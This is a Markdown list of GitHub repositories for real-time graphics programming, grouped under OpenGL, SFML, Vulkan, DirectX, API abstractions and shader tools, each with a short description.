- [Rendu](https://github.com/kosua20/Rendu) : A simple realtime graphics playground for experimentations.
- [GPU-Gems-Book-Source-Code](https://github.com/QianMo/GPU-Gems-Book-Source-Code) : CD Content ( Source Code ) Collection of Book <GPU Gems > 1~ 3 | 《GPU精粹》 1~ 3 随书CD（源代码）珍藏
- [tinyrenderer](https://github.com/ssloy/tinyrenderer) : A brief computer graphics / rendering course
- [osre](https://github.com/kimkulling/osre) : An open source render engine
- [SSAO](https://github.com/CptPotato/SSAO) : A screen space ambient occlusion (SSAO) algorithm
- [Voxelator](https://github.com/Mischa-Alff/Voxelator) : Voxel stuff entirely on the GPU using lots of GPU stuff and very little CPU stuff. Requires GLFW, GLEW, OpenGL, and a computer with a fairly recent GPU.
- [precomputed_atmospheric_scattering](https://github.com/ebruneton/precomputed_atmospheric_scattering) : This project provides a new implementation of our EGSR 2008 paper "Precomputed Atmospheric Scattering".
- [OceanSurface](https://github.com/jiasli/OceanSurface) : A real-time ocean surface simulated using Tessendorf's algorithm and OpenGL.
- [3D-Terrain-Generator](https://github.com/IonUreche/3D-Terrain-Generator) :
- [fx-gltf](https://github.com/jessey-git/fx-gltf) : A C++14/C++17 header-only library for simple, efficient, and robust serialization/deserialization of glTF 2.0
- [carbon](https://github.com/rivten/carbon) : Zig + Sokol + ImGui
- API Abstractions
- [nicegraf](https://github.com/nicebyte/nicegraf) : An abstraction layer for low-level platform-specific graphics APIs.
- [swiftshader](https://github.com/google/swiftshader) : SwiftShader is a high-performance CPU-based implementation of the OpenGL ES and Direct3D 9 graphics APIs. Its goal is to provide hardware independence for advanced 3D graphics.
- [bgfx.cmake](https://github.com/JoshuaBrookover/bgfx.cmake) : Independently maintained CMake build scripts for bgfx. Released under public domain.
- [bgfx-header-extension-library](https://github.com/SnapperTT/bgfx-header-extension-library) : Header-only helper library for Bgfx to help you hit the ground running. Also includes a bunch of post processing filters to complete common graphical tasks
- [FlyCube](https://github.com/andrejnau/FlyCube) : Graphics API wrapper with support for Directx 11, Directx 12, OpenGL, Vulkan.
- [libSDL2pp](https://github.com/libSDL2pp/libSDL2pp) : C++11 bindings/wrapper for SDL2
- [vg-renderer](https://github.com/jdryg/vg-renderer) : A vector graphics renderer for bgfx, based on ideas from NanoVG and ImDrawList (Dear ImGUI)
- [particlasm](https://github.com/inequation/particlasm) : A modular, data-driven particle system with retargetable back-ends
- [Ashes](https://github.com/DragonJoker/Ashes) : Rendering library written in C++17, matching closely Vulkan interfaces.
- [bgfx](https://github.com/bkaradzic/bgfx) : Cross-platform, graphics API agnostic, "Bring Your Own Engine/Framework" style rendering library.
- [bfxr-api-example](https://github.com/increpare/bfxr-api-example) : An example program using the Bfxr API.
- [tinyrenderers](https://github.com/chaoticbob/tinyrenderers) : Single header implemenations of Vulkan and D3D12 renderers
- [LLGL](https://github.com/LukasBanana/LLGL) : Low Level Graphics Library (LLGL) is a thin abstraction layer for the modern graphics APIs OpenGL, Direct3D, Vulkan, and Metal
- [fg](https://github.com/acdemiralp/fg) : Rendering abstraction which describes a frame as a directed acyclic graph of render tasks and resources.
- [magnum-integration](https://github.com/mosra/magnum-integration) : Integration libraries for the Magnum C++11/C++14 graphics engine
- [magnum](https://github.com/mosra/magnum) : Lightweight and modular C++11/C++14 graphics middleware for games and data visualization
- OpenGL
- [compute_rasterizer](https://github.com/m-schuetz/compute_rasterizer) : Rendering Point Clouds with Compute Shaders
- [gl_vk_meshlet_cadscene](https://github.com/nvpro-samples/gl_vk_meshlet_cadscene) : This OpenGL/Vulkan sample illustrates the use of "mesh shaders" for rendering CAD models.
- [Nimble](https://github.com/diharaw/Nimble) : An OpenGL renderer with a modern and extensible rendering pipeline.
- [glxw](https://github.com/rikusalminen/glxw) : OpenGL loader and dynamic linker
- [TerrainEngine-OpenGL](https://github.com/fede-vaccaro/TerrainEngine-OpenGL) : An OpenGL 4 and C++ program which renders a procedural scene.
- [GLOVE](https://github.com/Think-Silicon/GLOVE) : GLOVE (GL Over Vulkan) is a cross-platform software library that acts as an intermediate layer between an OpenGL application and Vulkan
- [opengles-book-samples](https://github.com/danginsburg/opengles-book-samples) : Automatically exported from code.google.com/p/opengles-book-samples
- [PhotonBox](https://github.com/Haeri/PhotonBox) : A portable modern OpenGL Game-Engine with focus on PBR
- [opengl-es-sdk-for-android](https://github.com/ARM-software/opengl-es-sdk-for-android) : OpenGL ES SDK for Android
- [Pangolin](https://github.com/stevenlovegrove/Pangolin) : Pangolin is a lightweight portable rapid development library for managing OpenGL display / interaction and abstracting video input.
- [3DWorld](https://github.com/fegennari/3DWorld) : 3D Procedural Game Engine Using OpenGL
- [AtmosphericScattering](https://github.com/diharaw/AtmosphericScattering) : An OpenGL implementation of Eric Bruneton's Precomputed Atmospheric Scattering paper.
- [HybridRenderingEngine](https://github.com/Angelo1211/HybridRenderingEngine) : Clustered Forward/Deferred renderer with Physically Based Shading, Image Based Lighting and a whole lot of OpenGL.
- [globjects](https://github.com/cginternals/globjects) : C++ library strictly wrapping OpenGL objects.
- [libepoxy](https://github.com/anholt/libepoxy) : Epoxy is a library for handling OpenGL function pointer management for you
- [vaserenderer](https://github.com/tyt2y3/vaserenderer) : VASE renderer is a polyline and curve renderer on OpenGL.
- [glXXw](https://github.com/paroj/glXXw) : OpenGL loader for GL3 Core and GLES2/3 - like gl3w, but written in CMake
- [gltut](https://github.com/paroj/gltut) : Learning Modern 3D Graphics Programming
- [piglit](https://github.com/Igalia/piglit) : (Unofficial mirror for development) An open-source test suite for OpenGL implementations
- [GfxSampleFramework](https://github.com/john-chapman/GfxSampleFramework) : OpenGL-based app framework for graphics samples/prototyping.
- [MentalGL](https://github.com/LukasBanana/MentalGL) : Single header OpenGL utility library in the public domain
- [OOGL](https://github.com/Overv/OOGL) : Object-oriented C++ wrapper for OpenGL.
- [glad](https://github.com/Dav1dde/glad) : Multi-Language Vulkan/GL/GLES/EGL/GLX/WGL Loader-Generator based on the official specs.
- [harfbuzz-example](https://github.com/tangrams/harfbuzz-example) : Harfbuzz text-shaping example with OpenGL using Freetype
- [sparkle](https://github.com/tcoppex/sparkle) : A modern particle engine running on GPU, using c++14 and OpenGL 4.4.
- [Cell](https://github.com/JoeyDeVries/Cell) : OpenGL C++ Graphics Engine
- [glfw](https://github.com/glfw/glfw) : A multi-platform library for OpenGL, OpenGL ES, Vulkan, window and input
- [Glitter](https://github.com/Polytonic/Glitter) : Dead Simple OpenGL
- [angle](https://github.com/google/angle) : A conformant OpenGL ES implementation for Windows, Mac and Linux.
- [gl-terrain-demo](https://github.com/itoral/gl-terrain-demo) : OpenGL terrain rendering demo
- [antons_opengl_tutorials_book](https://github.com/capnramses/antons_opengl_tutorials_book) : Anton's OpenGL 4 Tutorials book - Demo Code
- [freetype-gl](https://github.com/rougier/freetype-gl) : OpenGL text using one vertex buffer, one texture and FreeType
- [Guide-to-Modern-OpenGL-Functions](https://github.com/fendevel/Guide-to-Modern-OpenGL-Functions) : A guide to using modern OpenGL functions.
- [lightmapper](https://github.com/ands/lightmapper) : A C/C++ single-file library for drop-in lightmap baking. Just use your existing OpenGL renderer to bounce light!
- [AGE](https://github.com/Another-Game-Engine/AGE) : AGE - C++11 OpenGL4 Game Engine
- [GLS](https://github.com/binary1248/GLS) : GL Stuff - A library aimed at reducing the boilerplate OpenGL code you always have to write.
- [Header-Only-GL-Helpers](https://github.com/Flix01/Header-Only-GL-Helpers) : A collection of header files that can ease OpenGL programming
- [easy_font_gl45](https://github.com/vassvik/easy_font_gl45) :
- [gfw](https://github.com/felselva/gfw) : Pure C Minimal Graphics Framework (OpenGL)
- [opengl-skydome](https://github.com/kosua20/opengl-skydome) : A fragment-shader skydome implementation
- [examples](https://github.com/openglredbook/examples) : Examples for the OpenGL Red Book
- [PlanetRenderer](https://github.com/Illation/PlanetRenderer) : A repo for my research on planet rendering in c++ | opengl **Now runs on Linux**
- [vogl](https://github.com/ValveSoftware/vogl) : OpenGL capture / playback debugger.
- [gl](https://github.com/acdemiralp/gl) : C++11 wrapper for OpenGL 4.6 Core Profile.
- [minimal_opengl](https://github.com/vassvik/minimal_opengl) :
- [gl-engine](https://github.com/JoshuaSenouf/gl-engine) : Rendering Engine using C++ and OpenGL
- [oglplus](https://github.com/matus-chochlik/oglplus) : OGLplus is a collection of open-source, cross-platform libraries which implement an object-oriented facade over the OpenGL® (version 3 and higher) and also OpenAL® (version 1.1) and EGL (version 1.…
- [TinyWindow](https://github.com/ziacko/TinyWindow) : a cross platform (Linux and Windows) OpenGL window library in a single header
- [glgen](https://github.com/MetricPanda/glgen) : Minimal OpenGL extension loader
- [glbinding](https://github.com/cginternals/glbinding) : A C++ binding for the OpenGL API, generated using the gl.xml specification.
- [GLUL](https://github.com/RippeR37/GLUL) : OpenGL Utility Library.
- [ogl](https://github.com/opengl-tutorials/ogl) : http://www.opengl-tutorial.org
- [LearnOpenGL](https://github.com/JoeyDeVries/LearnOpenGL) : Code repository of all OpenGL tutorials found at https://learnopengl.com
- [styleblit](https://github.com/jamriska/styleblit) : StyleBlit is an efficient example-based style transfer algorithm that can deliver high-quality stylized renderings in real-time.
- [InstancedParticle](https://github.com/Ushio/InstancedParticle) : Instancing Basics
- [GIGL](https://github.com/zero-radiance/GIGL) : Tiny Global Illumination OpenGL Renderer
- [webgl-seed](https://github.com/alaingalvan/webgl-seed) : A starter repo for building WebGL applications.
- [VCTRenderer](https://github.com/jose-villegas/VCTRenderer) : A real time global illumination solution that achieves glossy surfaces, diffuse reflection, specular reflection, ambient occlusion, indirect shadows, soft shadows, emissive materials and 2-bounce G…
- [gl_ssao](https://github.com/nvpro-samples/gl_ssao) : optimized screen-space ambient occlusion, cache-aware hbao
- [deep-gbuffers](https://github.com/trevor-m/deep-gbuffers) : Implementation of "Fast Global Illumination Approximations on Deep G-Buffers" (Mara et. al, 2016) using C++, OpenGL, and GLSL
- [ogl-samples](https://github.com/g-truc/ogl-samples) : The OpenGL Samples Pack
- [InitializingOpenGL](https://github.com/tommai78101/InitializingOpenGL) : A book written in my own spare time, that has notes on how to begin an OpenGL project.
- [opengl_sky](https://github.com/shff/opengl_sky) : Pure-shader sky and cloud rendering in OpenGL
- [gl_commandlist_basic](https://github.com/nvpro-samples/gl_commandlist_basic) : OpenGL sample for NV_command_list
- SFML
- [SFMLight](https://github.com/dfranx/SFMLight) : Add lights to your SFML game
- [Thor](https://github.com/Bromeon/Thor) : SFML Extension with various game programming features, like particles, animations, vector operations
- [SFGUI](https://github.com/TankOs/SFGUI) : Simple and Fast Graphical User Interface
- [Swoosh](https://github.com/TheMaverickProgrammer/Swoosh) : SFML Activity and Segue Mini Library
- [SFML-Workshop](https://github.com/eXpl0it3r/SFML-Workshop) : Example code for the SFML Workshop
- [sfml-vscode-boilerplate](https://github.com/andrew-r-king/sfml-vscode-boilerplate) : A cross-platform SFML 2.5.1 & C++17 build environment for Visual Studio Code
- [ParticleEditor](https://github.com/Rikora/ParticleEditor) : Particle editor for SFML/Thor based applications
- [light_ungod](https://github.com/Ung0d/light_ungod) : A reimplementation of the LTBL2-framwork.
- [RichText](https://github.com/skyrpex/RichText) : Rich text class for SFML2. Allows the user to draw lines of text with different styles and colors.
- [SimplGUI](https://github.com/victorlevasseur/SimplGUI) : SimplGUI is simple GUI library for SFML. It provides simple widgets that can be used independently.
- [Motion](https://github.com/zsbzsb/Motion) : Complete video and audio player for SFML
- [LTBL2](https://github.com/222464/LTBL2) : A 2D dynamic lighting system with accurate soft shadows.
- [sfeMovie](https://github.com/Yalir/sfeMovie) : sfeMovie is a simple C++ library that lets you play movies in SFML based applications. It relies on FFmpeg to read medias and remains consistent with SFML's naming conventions. Forum at http://sfem…
- [imgui-sfml](https://github.com/eliasdaler/imgui-sfml) : ImGui binding for use with SFML
- [SFML](https://github.com/SFML/SFML) : Simple and Fast Multimedia Library
- [TGUI](https://github.com/texus/TGUI) : An easy to use cross-platform c++ GUI for SFML
- [STP](https://github.com/edoren/STP) : SFML TMX Parser -
- [Empire](https://github.com/Hopson97/Empire) : A cellular automaton I made up myself, written in C++/ SFML
- [SpriteAnimator](https://github.com/Rikora/SpriteAnimator) : Sprite animation editor for SFML/Thor based applications
- [SelbaWard](https://github.com/Hapaxia/SelbaWard) : A collection of SFML drawables
- [sfTheora](https://github.com/eXpl0it3r/sfTheora) : sfTheora is a static library for playing Theora videos on SFML.
- Vulkan
- [VulkanSceneGraph](https://github.com/vsg-dev/VulkanSceneGraph) : Vulkan & C++17 based Scene Graph Project
- [vulkan-seed](https://github.com/alaingalvan/vulkan-seed) : A Vulkan starter repo that you could use to get the ball rolling.
- [Vulkan-Samples-Assets](https://github.com/KhronosGroup/Vulkan-Samples-Assets) : Vulkan Samples Assets
- [clspv](https://github.com/google/clspv) : Clspv is a prototype compiler for a subset of OpenCL C to Vulkan compute shaders
- [vulkan_wsi_layer](https://github.com/procedural/vulkan_wsi_layer) :
- [VulkanCapsViewerGenerator](https://github.com/SaschaWillems/VulkanCapsViewerGenerator) : Extension header generator based on the official Vulkan registry xml
- [spirv-tools-custom-opt-passes](https://github.com/inequation/spirv-tools-custom-opt-passes) : A few custom passes for the SPIRV-Tools optimizer.
- [FrameGraph](https://github.com/azhirnov/FrameGraph) : vulkan abstraction layer that represent frame as a task graph
- [shadertoy-utils](https://github.com/toomuchvoltage/shadertoy-utils) : One-click utilities that turn images/sounds into shadertoy code! :)
- [Vulkan-Example](https://github.com/qnope/Vulkan-Example) : Some example of Vulkan with C++
- [VulkanRTX](https://github.com/DsoTsin/VulkanRTX) :
- [vkbind](https://github.com/dr-soft/vkbind) : Single file Vulkan API loader.
- [vulkan-base](https://github.com/kennyalive/vulkan-base) : Simple Vulkan application
- [VkBindingBenchmark](https://github.com/khalladay/VkBindingBenchmark) : Sponza And Bistro tests to benchmark transform data handling in Vulkan
- [Yave](https://github.com/gan74/Yave) : Yet Another Vulkan Engine
- [vsgXchange](https://github.com/vsg-dev/vsgXchange) : Utility library for converting data+materials to/from VulkanSceneGraph
- [niagara](https://github.com/zeux/niagara) : A Vulkan renderer written from scratch on stream
- [vkhr](https://github.com/CaffeineViking/vkhr) : Real-Time Hybrid Hair Rendering using Vulkan™
- [vuda](https://github.com/jgbit/vuda) : VUDA is a header-only library based on Vulkan that provides a CUDA Runtime API interface for writing GPU-accelerated applications.
- [Pluto](https://github.com/n8vm/Pluto) : Pluto: an interactive Vulkan engine with Python bindings and Jupyter notebook support
- [Onyx](https://github.com/AcrylicShrimp/Onyx) : Rendering engine based on Vulkan and C++17.
- [vpp](https://github.com/nyorain/vpp) : Modern C++ vulkan utility library.
- [glsl_indexed_types_generator](https://github.com/nvpro-samples/glsl_indexed_types_generator) : GLSL code generator to aid use of Vulkan's descriptor set indexing
- [Fossilize](https://github.com/ValveSoftware/Fossilize) : A serialization format for various persistent Vulkan object types.
- [VkHLF](https://github.com/nvpro-pipeline/VkHLF) : Experimental High Level Framework for Vulkan
- [Vulkan-Portability](https://github.com/KhronosGroup/Vulkan-Portability) :
- [volk](https://github.com/zeux/volk) : Meta loader for Vulkan API
- [vulkan_best_practice_for_mobile_developers](https://github.com/ARM-software/vulkan_best_practice_for_mobile_developers) : Vulkan best practice for mobile developers
- [vk_callback_swapchain](https://github.com/google/vk_callback_swapchain) :
- [vulkan-cpp-library](https://github.com/google/vulkan-cpp-library) :
- [vulkan-sdk](https://github.com/ARM-software/vulkan-sdk) : Github repository for the Vulkan SDK
- [rostkatze](https://github.com/msiglreith/rostkatze) : C++ implementation of Vulkan sitting on D3D12
- [vulkan_ihv_promises](https://github.com/procedural/vulkan_ihv_promises) :
- [Quartz](https://github.com/Nadrin/Quartz) : Physically based Vulkan RTX path tracer with a declarative ES7-like scene description language.
- [Vookoo](https://github.com/andy-thomason/Vookoo) : A set of utilities for taking the pain out of Vulkan in header only modern C++
- [AMDVLK](https://github.com/GPUOpen-Drivers/AMDVLK) : AMD Open Source Driver For Vulkan
- [GodOfFireAndGrass](https://github.com/ACskyline/GodOfFireAndGrass) : A Vulkan Grass Renderer
- [VulkanTutorial](https://github.com/QuartzIsCheap/VulkanTutorial) : Tutorial for the Vulkan graphics and compute API
- [rvg](https://github.com/nyorain/rvg) : High level vulkan 2D vector-like graphics api (C++)
- [VKGL](https://github.com/kbiElude/VKGL) : Core OpenGL over Vulkan
- [simple_vulkan_synchronization](https://github.com/Tobski/simple_vulkan_synchronization) : A single-header library with a simplified interface for Vulkan synchronization
- [Vulkan-glTF-PBR](https://github.com/SaschaWillems/Vulkan-glTF-PBR) : Physical based rendering with Vulkan using glTF 2.0 models
- [Vulkan](https://github.com/SaschaWillems/Vulkan) : Examples and demos for the new Vulkan API
- [Vulkan-WSIWindow](https://github.com/renelindsay/Vulkan-WSIWindow) : A multi-platform library to create a Vulkan window, and handle input events.
- [Vulkan-Cookbook](https://github.com/PacktPublishing/Vulkan-Cookbook) : Code repository for Vulkan Cookbook by Packt
- [TLVulkanRenderer](https://github.com/trungtle/TLVulkanRenderer) : A simple Vulkan-based renderer for my master thesis on real-time transparency
- [Vulkan-Hpp](https://github.com/KhronosGroup/Vulkan-Hpp) : Open-Source Vulkan C++ API
- [Vulkan-ValidationLayers](https://github.com/KhronosGroup/Vulkan-ValidationLayers) : Vulkan Validation Layers
- [VulkanMemoryAllocator](https://github.com/GPUOpen-LibrariesAndSDKs/VulkanMemoryAllocator) : Easy to integrate Vulkan memory allocation library
- [PracticalVulkan](https://github.com/GameTechDev/PracticalVulkan) : Repository with code samples for "API without Secrets: The Practical Approach to Vulkan" series of articles.
- [vulkan_slim](https://github.com/SaschaWillems/vulkan_slim) : Trying to trim down the size of my Vulkan repo...
- [vulkan_ihv_info](https://github.com/procedural/vulkan_ihv_info) :
- [lava](https://github.com/prideout/lava) : toy C++ Vulkan library
- [VulkanMemoryAllocator](https://github.com/DustinHLand/VulkanMemoryAllocator) : Easy to integrate Vulkan memory allocation library
- [Vulkan](https://github.com/jherico/Vulkan) : Examples and demos for the Vulkan C++ API
- [brokkr](https://github.com/fsole/brokkr) : Vulkan framework for Windows
- [LearnVulkan](https://github.com/JoeyDeVries/LearnVulkan) : All code samples learnvulkan.com
- [vkvg](https://github.com/jpbruyere/vkvg) : Vulkan vector drawing, try to stay close to cairo api
- [MoltenVK](https://github.com/KhronosGroup/MoltenVK) : MoltenVK is an implementation of the high-performance, industry-standard Vulkan graphics and compute API, that runs on Apple's Metal graphics framework, bringing Vulkan to iOS and macOS.
- [V-EZ](https://github.com/GPUOpen-LibrariesAndSDKs/V-EZ) :
- [vkdf](https://github.com/itoral/vkdf) : A collection of Vulkan demos
- [Vulkan-Ecosystem](https://github.com/KhronosGroup/Vulkan-Ecosystem) : Public repository for Vulkan Ecosystem issues
- [Anvil](https://github.com/GPUOpen-LibrariesAndSDKs/Anvil) : Anvil is a cross-platform framework for Vulkan
- [IntroductionToVulkan](https://github.com/GameTechDev/IntroductionToVulkan) : Source code examples for "API without Secrets: Introduction to Vulkan" tutorial
- [VulkanTools](https://github.com/LunarG/VulkanTools) : Tools to aid in Vulkan development including useful layers, trace and replay, and tests
- [xgl](https://github.com/GPUOpen-Drivers/xgl) : Vulkan API Layer
- [pal](https://github.com/GPUOpen-Drivers/pal) : Platform Abstraction Library
- [vkDOOM3](https://github.com/DustinHLand/vkDOOM3) : Vulkan DOOM 3 port based on DOOM 3 BFG Edition
- [vulkan_minimal_compute](https://github.com/Erkaman/vulkan_minimal_compute) : Minimal Example of Using Vulkan for Compute Operations. Only ~400LOC.
- [VulkanSponza](https://github.com/SaschaWillems/VulkanSponza) : Deferred Vulkan rendering playground using Crytek's Sponza scene
- [laugh_engine](https://github.com/jian-ru/laugh_engine) : A Vulkan implementation of real-time PBR renderer
- [Intrinsic](https://github.com/begla/Intrinsic) : Intrinsic is a Vulkan based cross-platform game and rendering engine. The project is currently in an early stage of development.
- [Vulkan-Docs](https://github.com/KhronosGroup/Vulkan-Docs) : The Vulkan API Specification and related tools
- [VulkanResources](https://github.com/jcoder58/VulkanResources) : A list of resources for learning Vulkan
- [VulkanTutorial](https://github.com/Overv/VulkanTutorial) : Tutorial for the Vulkan graphics and compute API
- [VK-GL-CTS](https://github.com/KhronosGroup/VK-GL-CTS) : Khronos Vulkan, OpenGL, and OpenGL ES Conformance Tests
- [cpp-host-metal](https://github.com/k-ye/cpp-host-metal) : Test if we can use Metal runtime in C++
- [VulkanWicked](https://github.com/SaschaWillems/VulkanWicked) :
- [ScrapEngine](https://github.com/ScrappyCocco/ScrapEngine) : A very simple real-time Vulkan 3D game engine
- [VulkanLearn](https://github.com/enjiushi/VulkanLearn) : Render lab built on top of vulkan
- [vk_denoise](https://github.com/nvpro-samples/vk_denoise) : Denoising a Vulkan ray traced image using OptiX denoiser
- [clouds](https://github.com/rikardolajos/clouds) :
- [VulkanCapsViewer](https://github.com/SaschaWillems/VulkanCapsViewer) : Vulkan hardware capability viewer
- [VulkanDemos](https://github.com/BobLChen/VulkanDemos) : Vulkan Demos
- [MageFramework](https://github.com/AmanSachan1/MageFramework) : Vulkan Framework for testing out and demoing shader techniques I've been intrigued by
- [Meteoros](https://github.com/AmanSachan1/Meteoros) : Real-time Cloudscape Rendering in Vulkan based on the implementation of clouds in the Decima Engine.
- [perfdoc](https://github.com/ARM-software/perfdoc) : A cross-platform Vulkan layer which checks Vulkan applications for best practices on Arm Mali devices.
- [perfdoc](https://github.com/powervr-graphics/perfdoc) : A cross-platform Vulkan layer which checks Vulkan applications for best practices on PowerVR devices.
- [VulkanApp](https://github.com/IonUreche/VulkanApp) :
- [onyx](https://github.com/AcrylicShrimp/onyx) : Rendering engine based on Vulkan and C++2x.
- [VulkanMemoryAllocator-Hpp](https://github.com/malte-v/VulkanMemoryAllocator-Hpp) : C++ bindings for VulkanMemoryAllocator
- [FlingEngine](https://github.com/flingengine/FlingEngine) : A Vulkan game engine with a focus on data oriented design
- DirectX
- [directx12-seed](https://github.com/alaingalvan/directx12-seed) : A DirectX 12 starter repo that you could use to get the ball rolling
- [D3D12MemoryAllocator](https://github.com/GPUOpen-LibrariesAndSDKs/D3D12MemoryAllocator) : Easy to integrate memory allocation library for Direct3D 12
- [d3d12book](https://github.com/d3dcoder/d3d12book) : Sample code for the book "Introduction to 3D Game Programming with DirectX 12"
- [DirectXTex](https://github.com/microsoft/DirectXTex) : DirectXTex texture processing library
- [D3d12info](https://github.com/sawickiap/D3d12info) : Simple console tool to get all the information from DXGI and Direct3D 12 on current system
- [DirectXShaderCompiler](https://github.com/microsoft/DirectXShaderCompiler) : This repo hosts the source for the DirectX Shader Compiler which is based on LLVM/Clang.
- [DirectX-Graphics-Samples](https://github.com/microsoft/DirectX-Graphics-Samples) : This repo contains the DirectX Graphics samples that demonstrate how to build graphics intensive applications on Windows.
- [reed-framework](https://github.com/Reedbeta/reed-framework) : Basic framework for D3D11 init, model/texture loading, shader compilation and camera movement.
- [dxwrapper](https://github.com/elishacloud/dxwrapper) : Fixes compatibility issues with older games running on Windows 10 by wrapping DirectX dlls. Also allows loading custom libraries with the file extension .asi into game processes.
- [Sophia](https://github.com/BentleyBlanks/Sophia) : A real-time DirectX 11 renderer. The renderer is named by my girlfriend's english name.
- [DeferredTexturing](https://github.com/TheRealMJP/DeferredTexturing) : A rendering sample that demonstrates bindless deferred texturing using D3D12
- [Wave-Particles-with-Interactive-Vortices](https://github.com/ACskyline/Wave-Particles-with-Interactive-Vortices) : A dx12 river renderer using wave particles with interactive vortices.
- [dxup](https://github.com/Joshua-Ashton/dxup) : A d3d9 and d3d10 to d3d11 translation layer.
- [VK9](https://github.com/disks86/VK9) : Direct3D 9 compatibility layer using Vulkan.
- [D3D12RaytracingFallback](https://github.com/philcn/D3D12RaytracingFallback) : A fork of Microsoft's D3D12 Raytracing Fallback Layer
- [d9vk](https://github.com/Joshua-Ashton/d9vk) : A d3d9 to vk layer based off DXVK's codebase.
- [D3DSamples](https://github.com/NVIDIAGameWorks/D3DSamples) : Direct3D feature samples
- [ShadowFX](https://github.com/GPUOpen-Effects/ShadowFX) : DirectX 11 and 12 library that provides a scalable and GCN-optimized solution for deferred shadow filtering
- [smaa](https://github.com/iryoku/smaa) : SMAA is a very efficient GPU-based MLAA implementation (DX9, DX10, DX11 and OpenGL), capable of handling subpixel features seamlessly, and featuring an improved and advanced pattern detection & han…
- [vkd3d](https://github.com/d3d12/vkd3d) :
- [D3D12QuickRef](https://github.com/alessiot89/D3D12QuickRef) : Direct3D 12.0 quick reference guide
- [d3d12_ihv_info](https://github.com/procedural/d3d12_ihv_info) :
- [Dx11Base](https://github.com/sebh/Dx11Base) : A small dx11 base program I use to test shaders and techniques
- [GeometryFX](https://github.com/GPUOpen-Effects/GeometryFX) : DirectX 11 library that provides convenient access to compute-based triangle filtering (CTF)
- [ToGL](https://github.com/ValveSoftware/ToGL) : Direct3D to OpenGL abstraction layer
- [Shadows](https://github.com/TheRealMJP/Shadows) : A sample app that demonstrates several techniques for rendering real-time shadow maps
- [graphicsdemoskeleton](https://github.com/wolfgangfengel/graphicsdemoskeleton) : Playground for DirectX 11 / 12 simple graphics demo examples ...
- [Dxbc2Dxil](https://github.com/Nukem9/Dxbc2Dxil) : DXBC to DXIL (HLSL Bytecode to LLVM IR) using internal APIs.
- [separable-sss](https://github.com/iryoku/separable-sss) : Separable Subsurface Scattering is a technique that allows to efficiently perform subsurface scattering calculations in screen space in just two passes.
- [DXRNvTutorial](https://github.com/philcn/DXRNvTutorial) : Implementing Nvidia DXR tutorial with Microsoft DXR Fallback Layer
- [crunch](https://github.com/Unity-Technologies/crunch) : Advanced DXTc texture compression and transcoding library
- Shaders
- [glslCanvas4AE](https://github.com/baku89/glslCanvas4AE) : After Effects Plug-in to write GLSL with a format of glslCanvas
- [HLSLcc](https://github.com/Unity-Technologies/HLSLcc) : DirectX shader bytecode cross compiler
- [SPIRV-Reflect](https://github.com/chaoticbob/SPIRV-Reflect) : SPIRV-Reflect is a lightweight library that provides a C/C++ reflection API for SPIR-V shader bytecode in Vulkan applications.
- [deshade](https://github.com/graphitemaster/deshade) : dump and replace shaders of any OpenGL or Vulkan application
- [smol-v](https://github.com/aras-p/smol-v) : SMOL-V: like Vulkan/Khronos SPIR-V, but smaller.
- [ShaderFastLibs](https://github.com/michaldrobot/ShaderFastLibs) :
- [slang](https://github.com/shader-slang/slang) : Making it easier to work with shaders
- [glsl-grapher](https://github.com/fordhurley/glsl-grapher) : Visualize GLSL shader functions
- [thebookofshaders](https://github.com/patriciogonzalezvivo/thebookofshaders) : Step-by-step guide through the abstract and complex universe of Fragment Shaders.
- [glsl-optimizer](https://github.com/aras-p/glsl-optimizer) : GLSL optimizer based on Mesa's GLSL compiler. Used in Unity for mobile shader optimization.
- [glslang](https://github.com/KhronosGroup/glslang) : Khronos-reference front end for GLSL/ESSL, partial front end for HLSL, and a SPIR-V generator.
- [glsl-atmosphere](https://github.com/wwwtyro/glsl-atmosphere) : Renders sky colors with Rayleigh and Mie scattering.
- [glslSmartDeNoise](https://github.com/BrutPitt/glslSmartDeNoise) : glsl deNoise filter
- [GLSL](https://github.com/KhronosGroup/GLSL) : GLSL Shading Language Issue Tracker
- [glsl_kappa](https://github.com/rre36/glsl_kappa) : A shaderpack that aims towards a realistic, but also authentic look.
- [gpuc](https://github.com/garettbass/gpuc) : A header-only C-like shading language compiler that writes Metal, HLSL, GLSL
- [SHADERed](https://github.com/dfranx/SHADERed) : Lightweight, cross-platform & full-featured desktop tool for creating and testing HLSL and GLSL shaders
- [Wombat](https://github.com/BrianSharpe/Wombat) : An efficient texture-free GLSL procedural noise library
- [GPU-Noise-Lib](https://github.com/BrianSharpe/GPU-Noise-Lib) : Optimized GPU noise functions and utilities
- [osl-shaders](https://github.com/varkenvarken/osl-shaders) : a repository of osl shaders for Blender
- [osl-shaders](https://github.com/sambler/osl-shaders) : A collection of osl shaders
- [Pyramid](https://github.com/jbarczak/Pyramid) : Pyramid Shader Analyzer
- [reshade-shaders](https://github.com/crosire/reshade-shaders) : A collection of post-processing shaders written for ReShade.
- [yari-v](https://github.com/sheredom/yari-v) : Single header SPIR-V compressor for C and C++
- [XShaderCompiler](https://github.com/LukasBanana/XShaderCompiler) : Shader cross compiler to translate HLSL (Shader Model 4 and 5) to GLSL
- [reshade](https://github.com/crosire/reshade) : A generic post-processing injector for games and video software.
- [CrossShader](https://github.com/alaingalvan/CrossShader) : A tool for cross compiling shaders. Convert between GLSL, HLSL, Metal Shader Language, or older versions of GLSL.
- [3d-game-shaders-for-beginners](https://github.com/lettier/3d-game-shaders-for-beginners) : A step-by-step guide on how to implement SSAO, depth of field, lighting, normal mapping, and more for your 3D game.
- [glslViewer](https://github.com/patriciogonzalezvivo/glslViewer) : Live GLSL coding render for MacOS and Linux
- [Shader_Minifier](https://github.com/laurentlb/Shader_Minifier) : Minify and obfuscate GLSL or HLSL code
- [ShaderConductor](https://github.com/microsoft/ShaderConductor) : ShaderConductor is a tool designed for cross-compiling HLSL to other shading languages
- [SPIRV-Headers](https://github.com/KhronosGroup/SPIRV-Headers) : SPIRV-Headers
- [LunarGLASS](https://github.com/LunarG/LunarGLASS) : LLVM IR and optimizer for shaders, including front-end adapters for GLSL and SPIR-V and back-end adapter for GLSL
- [shader-printf](https://github.com/msqrt/shader-printf) : Simple printf functionality for GLSL.
- [SPIRV-Cross](https://github.com/KhronosGroup/SPIRV-Cross) : SPIRV-Cross is a practical tool and library for performing reflection on SPIR-V and disassembling SPIR-V back to high level languages.
- [standard-surface](https://github.com/Autodesk/standard-surface) : White paper describing the Autodesk Standard Surface shader.
- [nicegraf-shaderc](https://github.com/nicebyte/nicegraf-shaderc) : A wrapper for shaderc and spriv-cross
